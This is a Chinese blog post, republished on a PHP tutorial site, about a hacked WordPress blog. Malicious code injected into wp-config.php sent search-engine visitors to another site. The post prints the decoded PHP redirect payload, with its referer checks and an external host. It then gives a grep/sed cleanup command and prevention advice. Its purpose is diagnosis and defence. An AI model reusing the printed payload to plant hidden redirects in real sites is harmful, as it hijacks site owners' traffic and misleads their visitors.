来源:自学PHP网 时间:2015-04-15 15:00 作者: 阅读:次
[导读] 在相当长的一段时间里,博主我本人对于搜索引擎的收录条目重来不做recheck,也没精力去做这件事。后来旧域名isomer me过期换上了现在的新域名ty-m com,做了一些轻度SEO,随后经历了收...
在相当长的一段时间里,博主我本人对于搜索引擎的收录条目重来不做recheck,也没精力去做这件事。后来旧域名isomer.me过期换上了现在的新域名ty-m.com,做了一些轻度SEO,随后经历了收录还原,百度封杀,一年后彻换ip与数据空间以此洗白域名… etc. 百度的收录曲线在今年四月份开始终于实现了零的突破: 但还是有一件事情自己一直没有注意,在谷歌收录中本人的跳转链接永远指向一个奇怪的网站 june26.com,由于同一时期里本人的域名被百度封杀,导致本人误以为谷歌爬虫也基于同样的原因:网站的条目无法访问而自动redirect了所有的页面到一个广告页… (stay foolish, stay foolish… XD. (ಥ _ ಥ)) 从现象上来看,任何浏览者直接输入URL的方式访问网站的时候,页面的加载与呈现都是没有问题的,唯独从搜索引擎的结果跳转而来的流量都会被自动导到一个未知的网站里,这是典型的: Regular issue of some CMS. 在Web的世界里,CMS( Content Management System )即“内容管理系统”的一个常见问题就是 Hacker Attack ,黑客使用种种手段尝试修改站点内容或站点系统本身,达到在内容呈现,甚至是系统运行期行为上加入恶意信息的目的,这一类被挂马的站点常常用于各种肮脏的幕后交易:High-ranking Pages 的导入流量,搜索引擎结果中的广告信息,甚至是发起 DDoS ( Distributed Denial of Service )Attack 时一台平凡的小肉鸡…… 所以我们现在来看看这一类常见的攻击产生了怎样的效果,它们是如何进行的,如何在攻击形成后清除它们,并带着亡羊补牢不如未雨绸缪的精神提前预防: 现象 一类最常见的,但Web系统初学者最容易忽视的攻击,就是只针对搜索引擎结果的攻击。这类攻击嵌入的恶意内容往往不会影响浏览器最终的页面渲染结果,而这些内容却能够被谷歌爬虫所寻获,并最终呈现在网站的搜索结果中,使得你的网站在浏览者看来,是一个同时分享IT技术与医药广告的垃圾站点:
图中的搜索引擎结果,打上红箭头的广告被通过向网页嵌入隐藏的标签从而被爬虫寻获,常见的方式就是直接修改<title>标签。这一类攻击的目的通常是向黑客自己的站点导入来自高搜索排名页面的网页流量,或者外链 —— 现在你知道许多SEO广告里几块钱一大把的批量明链是怎么来的了吧。这一类攻击者希望在进行它们的肮脏交易时,尽可能小的去搅动它们眼前的那潭水。 第二种攻击结果则有害的多,它们修改内容系统的运行时行为,在插件中插入或替换恶意代码文件。 这一类攻击的一个升级版是将真正具有攻击意图的代码通过混淆 + Base64加密的方式存储与数据库中 ,通过外部查询的方式进行调用。这一类攻击往往携带较为复杂的执行意图,例如可以用来按计划发动分布式拒绝服务攻击。 还有一类攻击,其结果较为简单粗暴,在网页文件或服务端执行代码文件中插入重定向代码,将一个网站的访问流量全部转移到自己旗下,笔者受到的就是此类攻击。但一类攻击容易被人疏忽的一点是,重定向往往在来自搜索引擎的访客到来时才会触发,因此网站管理员自行登录和配置站点时可能始终都不会察觉访客的流量正在流失的事实,除非你使用了 Google Analytics 或 百度统计 一类的服务。 原理 现在我们知道了几种常见的攻击现象,有助于Webmaster诊断出潜藏在幕后的网站隐患,现在我们来看看它们的一些实现细节以求根治: 对于修改HTML页面内容,插入隐藏链接标签与关键词进行流量窃取攻击的,其攻击目标页面往往是具有选择性的,攻击者希望hacking站点中具有最高搜索引擎权重的几个页面。那么攻击者如何能够编写出scanner分析出页面的权重值呢,使用 Google Blog Search,Google PR, 或 百度权重 查询etc. 对于二类、三类攻击,其实现方式为恶意代码执行,首先在插件目录中植入恶意文件,配合密文混淆的可执行代码(代码可以保存在数据库中,亦或直接写入.php, .rb 等服务端可执行代码)以达到影响系统运行时行为的目的。如下图所示: 在我的wp-config.php文件中,<? php ?>头被直接插入了一段base64加密的可执行代码,由于WordPress程序在每次响应网络请求的时候都会加载该文件,从而导致了所有Web访问都在该恶意代码的影响之下。看官可以使用在线解码程序得出如下明文:
error_reporting(0); $qazplm = headers_sent(); if (!$qazplm) { $referer = $_SERVER['HTTP_REFERER']; $uag = $_SERVER['HTTP_USER_AGENT']; if ($uag) { if (!stristr($uag, "MSIE 7.0")) { if (stristr($referer, "yahoo") or stristr($referer, "bing") or stristr($referer, "rambler") or stristr($referer, "gogo") or stristr($referer, "live.com") or stristr($referer, "aport") or stristr($referer, "nigma") or stristr($referer, "webalta") or stristr($referer, "begun.ru") or stristr($referer, "stumbleupon.com") or stristr($referer, "bit.ly") or stristr($referer, "tinyurl.com") or preg_match("/yandex\.ru\/yandsearch\?(.*?)\&lr\=/", $referer) or preg_match("/google\.(.*?)\/url\?sa/", $referer) or stristr($referer, "myspace.com") or stristr($referer, "facebook.com") or stristr($referer, "aol.com")) { if (!stristr($referer, "cache") or ! stristr($referer, "inurl")) { header("Location: http://hinia.zyns.com/"); exit(); } } } } } 从代码中可以看出Hacker的意图:所有从referer字段中匹配的跳转来源,都再次自动重定向到站点 hinia.zyns.com. 首先调用 base64_decode() 函数密文解密为可执行代码文本,随后调用 eval() 执行它,因此对于Web系统中这一类配对使用的函数应格外注意。 清理 对于恶意代码清理,分两步进行:清理位于博客文件系统目录下的恶意代码文件,清理存放在数据库表中的加密代码文本。 首先清理文件系统。较为常见的攻击者将恶意文件存放在插件目录 /wp-content/plugins 内,以保证系统会每次渲染页面时候都执行这段代码。另外一种比较恶心的情况是,攻击者植入了一个scanner script,遍历文件系统的每个文件并简单粗暴的写入恶意代码,使得手工清理很成问题。对于 base64_decode() + eval() 的攻击方式,我们可以先判断被感染文件的规模,再决定用何种方式去清理。 使用 FileZilla FTP Client 等FTP客户端工具将文件系统的所有脚本文件都下载到本地,上网下载 WinGrep 等文本文件批量扫描工具。WinGrep是一个遵循MS-PL(Microsoft Public License) 许可证的开源项目,在Windows平台上提供了GUI + Console两种工作模式,可以让使用者基于复杂的匹配模式快速扫描大批量的文本文件内容。Linux 和 Mac系统的朋友在 Terminal下可以直接使用 GREP命令工具简单搞定这个问题。 使用WinGrep工具可以直接匹配出全站代码文件含有base64_decode()的文件,我们可以看到规范的工程品代码几乎是不会使用此类函数去实现其功能的调用(用于路由URL的压缩除外,但也不会与eval()等意图极为明显的函数配合使用),因此若出现此类代码则几乎可以肯定是反常的。密文形式呈现的恶意文件的三个例子是这样的: hack-file-1.txt , hack-file-2.txt , widget-support.txt 。
我们用扫描工具评估了受感染文件的规模后,可以动手清理了,若是像图中这样感染面积较小的,手工清除即可,若感染面积巨大甚至每个文件都被改写的,就要编写文件替换脚本了。在Linux下可以使用Shell Script简单解决这个问题: ? View CodeSHELL find . \( -name "*.php" \) -exec grep -Hn "[\t]*eval(base64_decode(.*));" {} \; -exec sed -i 's/[\t]*eval(base64_decode(.*));//g' {} \; 但这并不一定就使得所有问题得到解决了,在扫描与删除过程中你应仔细了解恶意代码所处文件的情况:若恶意代码所在文件本身就为恶意文件,应仔细检查是否使用了来源不明的网络插件,这是一个较为容易形成的攻击入口;base64_decode()使用的参数是否来自于数据库查询,若是则属于升级版攻击的情况,应仔细检查对应的数据库表条目删除之 。 预后 鉴于攻击防范的大部分职责为空间托管商或云服务提供商的责任,我们作为虚拟主机的使用者所能接触到的系统权限并不多。但若能做到 Top 5 WordPress Security Tips You Most Likely Don’t Follow 所述的几点注意事项,还是可以尽可能的降低博客遭到入侵的风险。同时不要忘记了,及时更新你的博客系统到官方的最新版本。
|
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com